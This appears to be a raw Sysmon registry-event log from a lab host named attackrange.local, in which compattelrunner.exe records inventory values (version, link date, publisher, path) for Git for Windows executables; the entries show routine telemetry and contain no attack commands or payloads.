13241300x800000000000000036405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-difftool.exe|903a2ba27de6fa88\BinProductVersion2.33.0.2 13241300x800000000000000036404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-difftool.exe|903a2ba27de6fa88\LinkDate08/24/2021 10:09:53 13241300x800000000000000036403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-difftool.exe|903a2ba27de6fa88\Publisherthe git development community 13241300x800000000000000036402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-difftool.exe|903a2ba27de6fa88\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-difftool.exe 13241300x800000000000000036401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff.exe|fe3e1c9d29f52286\BinProductVersion2.33.0.2 13241300x800000000000000036400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff.exe|fe3e1c9d29f52286\LinkDate08/24/2021 10:09:53 13241300x800000000000000036399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff.exe|fe3e1c9d29f52286\Publisherthe git development community 13241300x800000000000000036398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff.exe|fe3e1c9d29f52286\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-diff.exe 13241300x800000000000000036397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-tree.ex|d17f2f481ab32d12\BinProductVersion2.33.0.2 13241300x800000000000000036396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-tree.ex|d17f2f481ab32d12\LinkDate08/24/2021 10:09:53 13241300x800000000000000036395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-tree.ex|d17f2f481ab32d12\Publisherthe git development community 13241300x800000000000000036394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-tree.ex|d17f2f481ab32d12\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-diff-tree.exe 13241300x800000000000000036393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-index.e|3e5a108a9f567115\BinProductVersion2.33.0.2 13241300x800000000000000036392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-index.e|3e5a108a9f567115\LinkDate08/24/2021 10:09:53 13241300x800000000000000036391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-index.e|3e5a108a9f567115\Publisherthe git development community 13241300x800000000000000036390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-index.e|3e5a108a9f567115\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-diff-index.exe 13241300x800000000000000036389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-files.e|4b52f8fbf7fa68d0\BinProductVersion2.33.0.2 13241300x800000000000000036388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-files.e|4b52f8fbf7fa68d0\LinkDate08/24/2021 10:09:53 13241300x800000000000000036387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-files.e|4b52f8fbf7fa68d0\Publisherthe git development community 13241300x800000000000000036386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-diff-files.e|4b52f8fbf7fa68d0\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-diff-files.exe 13241300x800000000000000036385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-describe.exe|ca93040df5afaed5\BinProductVersion2.33.0.2 13241300x800000000000000036384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-describe.exe|ca93040df5afaed5\LinkDate08/24/2021 10:09:53 13241300x800000000000000036383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-describe.exe|ca93040df5afaed5\Publisherthe git development community 13241300x800000000000000036382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-describe.exe|ca93040df5afaed5\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-describe.exe 13241300x800000000000000036381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-daemon.exe|4df8efdd24573ae6\BinProductVersion2.33.0.2 13241300x800000000000000036380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-daemon.exe|4df8efdd24573ae6\LinkDate08/24/2021 10:09:53 13241300x800000000000000036379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-daemon.exe|4df8efdd24573ae6\Publisherthe git development community 13241300x800000000000000036378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-daemon.exe|4df8efdd24573ae6\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-daemon.exe 13241300x800000000000000036377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential.e|7fcfd8585219b3da\BinProductVersion2.33.0.2 13241300x800000000000000036376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential.e|7fcfd8585219b3da\LinkDate08/24/2021 10:09:53 13241300x800000000000000036375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential.e|7fcfd8585219b3da\Publisherthe git development community 13241300x800000000000000036374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential.e|7fcfd8585219b3da\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-credential.exe 13241300x800000000000000036373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-w|dd4fe27e45e1fd6b\BinProductVersion(Empty) 13241300x800000000000000036372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-w|dd4fe27e45e1fd6b\LinkDate08/24/2021 10:09:53 13241300x800000000000000036371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-w|dd4fe27e45e1fd6b\Publisher(Empty) 13241300x800000000000000036370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-w|dd4fe27e45e1fd6b\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-credential-wincred.exe 13241300x800000000000000036369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-s|f72ca269558b1404\BinProductVersion2.33.0.2 13241300x800000000000000036368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-s|f72ca269558b1404\LinkDate08/24/2021 10:09:53 13241300x800000000000000036367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-s|f72ca269558b1404\Publisherthe git development community 13241300x800000000000000036366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-s|f72ca269558b1404\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-credential-store.exe 13241300x800000000000000036365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-m|55d73dc387b631bc\BinProductVersion1.20.0.0 13241300x800000000000000036364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-m|55d73dc387b631bc\LinkDate09/05/2019 15:02:13 13241300x800000000000000036363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-m|55d73dc387b631bc\Publishermicrosoft corporation 13241300x800000000000000036362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-m|55d73dc387b631bc\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-credential-manager.exe 13241300x800000000000000036361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-m|425ee5c501baf173\BinProductVersion2.0.498.0 13241300x800000000000000036360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-m|425ee5c501baf173\LinkDate09/05/2039 11:03:58 13241300x800000000000000036359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-m|425ee5c501baf173\Publishergit-credential-manager-core 13241300x800000000000000036358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-m|425ee5c501baf173\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-credential-manager-core.exe 13241300x800000000000000036357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-h|e6dcddb0bd298778\BinProductVersion(Empty) 13241300x800000000000000036356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-h|e6dcddb0bd298778\LinkDate01/01/1970 00:00:00 13241300x800000000000000036355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-h|e6dcddb0bd298778\Publisher(Empty) 13241300x800000000000000036354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-h|e6dcddb0bd298778\LowerCaseLongPathc:\program files\git\mingw64\bin\git-credential-helper-selector.exe 13241300x800000000000000036353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-c|2da56af252cfcd16\BinProductVersion2.33.0.2 13241300x800000000000000036352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-c|2da56af252cfcd16\LinkDate08/24/2021 10:09:53 13241300x800000000000000036351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-c|2da56af252cfcd16\Publisherthe git development community 13241300x800000000000000036350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-c|2da56af252cfcd16\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-credential-cache.exe 13241300x800000000000000036349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-c|17175c202eed73b7\BinProductVersion2.33.0.2 13241300x800000000000000036348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-c|17175c202eed73b7\LinkDate08/24/2021 10:09:53 13241300x800000000000000036347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-c|17175c202eed73b7\Publisherthe git development community 13241300x800000000000000036346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-credential-c|17175c202eed73b7\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-credential-cache--daemon.exe 13241300x800000000000000036345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-count-object|9f950d53a6a442ff\BinProductVersion2.33.0.2 13241300x800000000000000036344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-count-object|9f950d53a6a442ff\LinkDate08/24/2021 10:09:53 13241300x800000000000000036343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-count-object|9f950d53a6a442ff\Publisherthe git development community 13241300x800000000000000036342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-count-object|9f950d53a6a442ff\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-count-objects.exe 13241300x800000000000000036341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-config.exe|e75be4b0a6770696\BinProductVersion2.33.0.2 13241300x800000000000000036340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-config.exe|e75be4b0a6770696\LinkDate08/24/2021 10:09:53 13241300x800000000000000036339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-config.exe|e75be4b0a6770696\Publisherthe git development community 13241300x800000000000000036338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-config.exe|e75be4b0a6770696\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-config.exe 13241300x800000000000000036337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit.exe|6e74d5dae67b444b\BinProductVersion2.33.0.2 13241300x800000000000000036336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit.exe|6e74d5dae67b444b\LinkDate08/24/2021 10:09:53 13241300x800000000000000036335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit.exe|6e74d5dae67b444b\Publisherthe git development community 13241300x800000000000000036334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit.exe|6e74d5dae67b444b\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-commit.exe 13241300x800000000000000036333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 